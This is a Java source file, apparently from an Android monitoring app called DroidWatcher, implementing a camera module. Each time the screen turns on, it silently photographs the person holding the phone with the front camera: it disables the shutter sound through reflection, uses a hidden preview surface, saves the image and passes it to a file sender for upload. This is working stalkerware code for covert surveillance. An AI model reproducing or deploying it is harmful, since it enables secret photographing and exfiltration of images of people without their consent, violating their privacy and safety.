package com.droidwatcher.modules;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.ref.WeakReference;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import java.util.Locale;
import org.acra.ACRA;
import android.annotation.SuppressLint;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.hardware.Camera;
import android.hardware.Camera.CameraInfo;
import android.hardware.Camera.PictureCallback;
import android.hardware.Camera.Size;
import android.os.Build;
import android.os.Handler;
import android.os.Message;
import android.support.v4.content.LocalBroadcastManager;
import android.view.SurfaceView;
import com.droidwatcher.Debug;
import com.droidwatcher.FileSender;
import com.droidwatcher.FileSender.FileType;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.lib.FileUtil;
import com.droidwatcher.lib.ImageUtil;
import com.droidwatcher.receivers.ScreenStateReceiver;
@SuppressLint("NewApi")
public class CameraModule implements PictureCallback {
private static final long PHOTO_DELAY = 1 * 1000;
private static final Locale sLocale = new Locale("ru","RU");
public static final int TAKE_PHOTO = 0;
public static final String PREFIX = "[front_camera]";
private Context mContext;
private SettingsManager mSettings;
private Handler mHandler;
private BroadcastReceiver mScreenStateReceiver;
private Boolean mStarted;
public CameraModule(Context context){
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.GINGERBREAD) {
mContext = context;
mSettings = new SettingsManager(context);
mScreenStateReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
int state = intent.getIntExtra(ScreenStateReceiver.SCREEN_STATE_EXTRA, ScreenStateReceiver.SCREEN_STATE_UNKNOWN);
switch (state) {
case ScreenStateReceiver.SCREEN_STATE_OFF:
mHandler.removeMessages(TAKE_PHOTO);
break;
case ScreenStateReceiver.SCREEN_STATE_ON:
if(mSettings.isFrontCameraEnabled()){
mHandler.sendEmptyMessageDelayed(TAKE_PHOTO, PHOTO_DELAY);
}
break;
default:
break;
}
}
};
mHandler = new MyHandler(this);
mStarted = true;
}
else{
mStarted = false;
}
}
public void start(){
if (mStarted && checkFrontCamera()) {
LocalBroadcastManager.getInstance(mContext).registerReceiver(
mScreenStateReceiver,
new IntentFilter(ScreenStateReceiver.SCREEN_EVENT)
);
}
}
public void dispose(){
if (mStarted) {
try {
mHandler.removeMessages(0);
mHandler = null;
LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mScreenStateReceiver);
mScreenStateReceiver = null;
} catch (Exception e) {
Debug.exception(e);
}
}
}
private boolean checkFrontCamera(){
if (Camera.getNumberOfCameras() >= 2) {
return true;
}
else{
return false;
}
}
public static boolean checkCameraHardware(Context context) {
if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)){
// this device has a camera
return true;
} else {
// no camera on this device
return false;
}
}
private Camera getCameraInstance(int cameraID){
Camera camera = null;
try {
camera = Camera.open(cameraID); // attempt to get a Camera instance
}
catch (Exception e){
Debug.exception(e);// Camera is not available (in use or does not exist)
}
return camera; // returns null if camera is unavailable
}
private void takePhoto(){
Camera camera = null;
try {
camera = getCameraInstance(CameraInfo.CAMERA_FACING_FRONT);
if (camera == null) {
return;
}
try {
Camera.Parameters params = camera.getParameters();
Size size = getOptimalSize(params.getSupportedPictureSizes());
if (size != null) {
params.setPictureSize(size.width, size.height);
}
params.setJpegQuality(60);
camera.setParameters(params);
} catch (Exception e) {
Debug.exception(e);
}
//camera.enableShutterSound(false);
try {
java.lang.reflect.Method method = Camera.class.getMethod("enableShutterSound", boolean.class);
if (method != null) {
method.invoke(camera, false);
}
} catch (Exception e) {
Debug.exception(e);
}
try {
SurfaceView view = new SurfaceView(mContext);
camera.setPreviewDisplay(view.getHolder());
camera.startPreview();
} catch (Exception e) {
Debug.exception(e);
// ACRA.getErrorReporter().handleSilentException(e);
}
camera.takePicture(null, null, this);
} catch (Exception e) {
Debug.exception(e);
if (camera != null) {
camera.release();
camera = null;
}
}
}
private Size getOptimalSize(List<Size> supportedSizes){
Size size = null;
for (Size supportedSize : supportedSizes) {
if (size == null) {
size = supportedSize;
}
else{
if (supportedSize.width < size.width && supportedSize.height < size.height) {
size = supportedSize;
}
}
}
return size;
}
@Override
public void onPictureTaken(byte[] data, Camera camera) {
try {
if (!FileUtil.isExternalStorageAvailable() || !FileUtil.hasExternalStorageFreeMemory()) {
return;
}
if (ImageUtil.isBlack(data)) {
return;
}
FileOutputStream out = null;
try {
Date dt = new Date();
String date = SimpleDateFormat.getDateTimeInstance(SimpleDateFormat.SHORT, SimpleDateFormat.MEDIUM, sLocale).format(dt);
date = date.replace(':', '-');//.replace(' ', '_');
String fName = PREFIX + "[" + date + "]" + "[" + dt.getTime() + "]" + ".jpg";
out = new FileOutputStream(FileUtil.getExternalFullPath(mContext, fName));
out.write(data);
new FileSender(mContext, FileType.FRONT_CAMERA_PHOTO).start();
} catch (Exception e) {
ACRA.getErrorReporter().handleSilentException(e);
} finally {
if (out != null) {
try {
out.close();
} catch (IOException e) {
Debug.exception(e);
}
out = null;
}
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
} finally {
if (camera != null) {
camera.release();
camera = null;
}
}
}
private static class MyHandler extends Handler{
private final WeakReference<CameraModule> mModule;
private MyHandler(CameraModule module) {
mModule = new WeakReference<CameraModule>(module);
}
@Override
public void handleMessage(Message msg) {
CameraModule mgr = mModule.get();
if (mgr != null && msg.what == TAKE_PHOTO) {
mgr.takePhoto();
}
}
}
}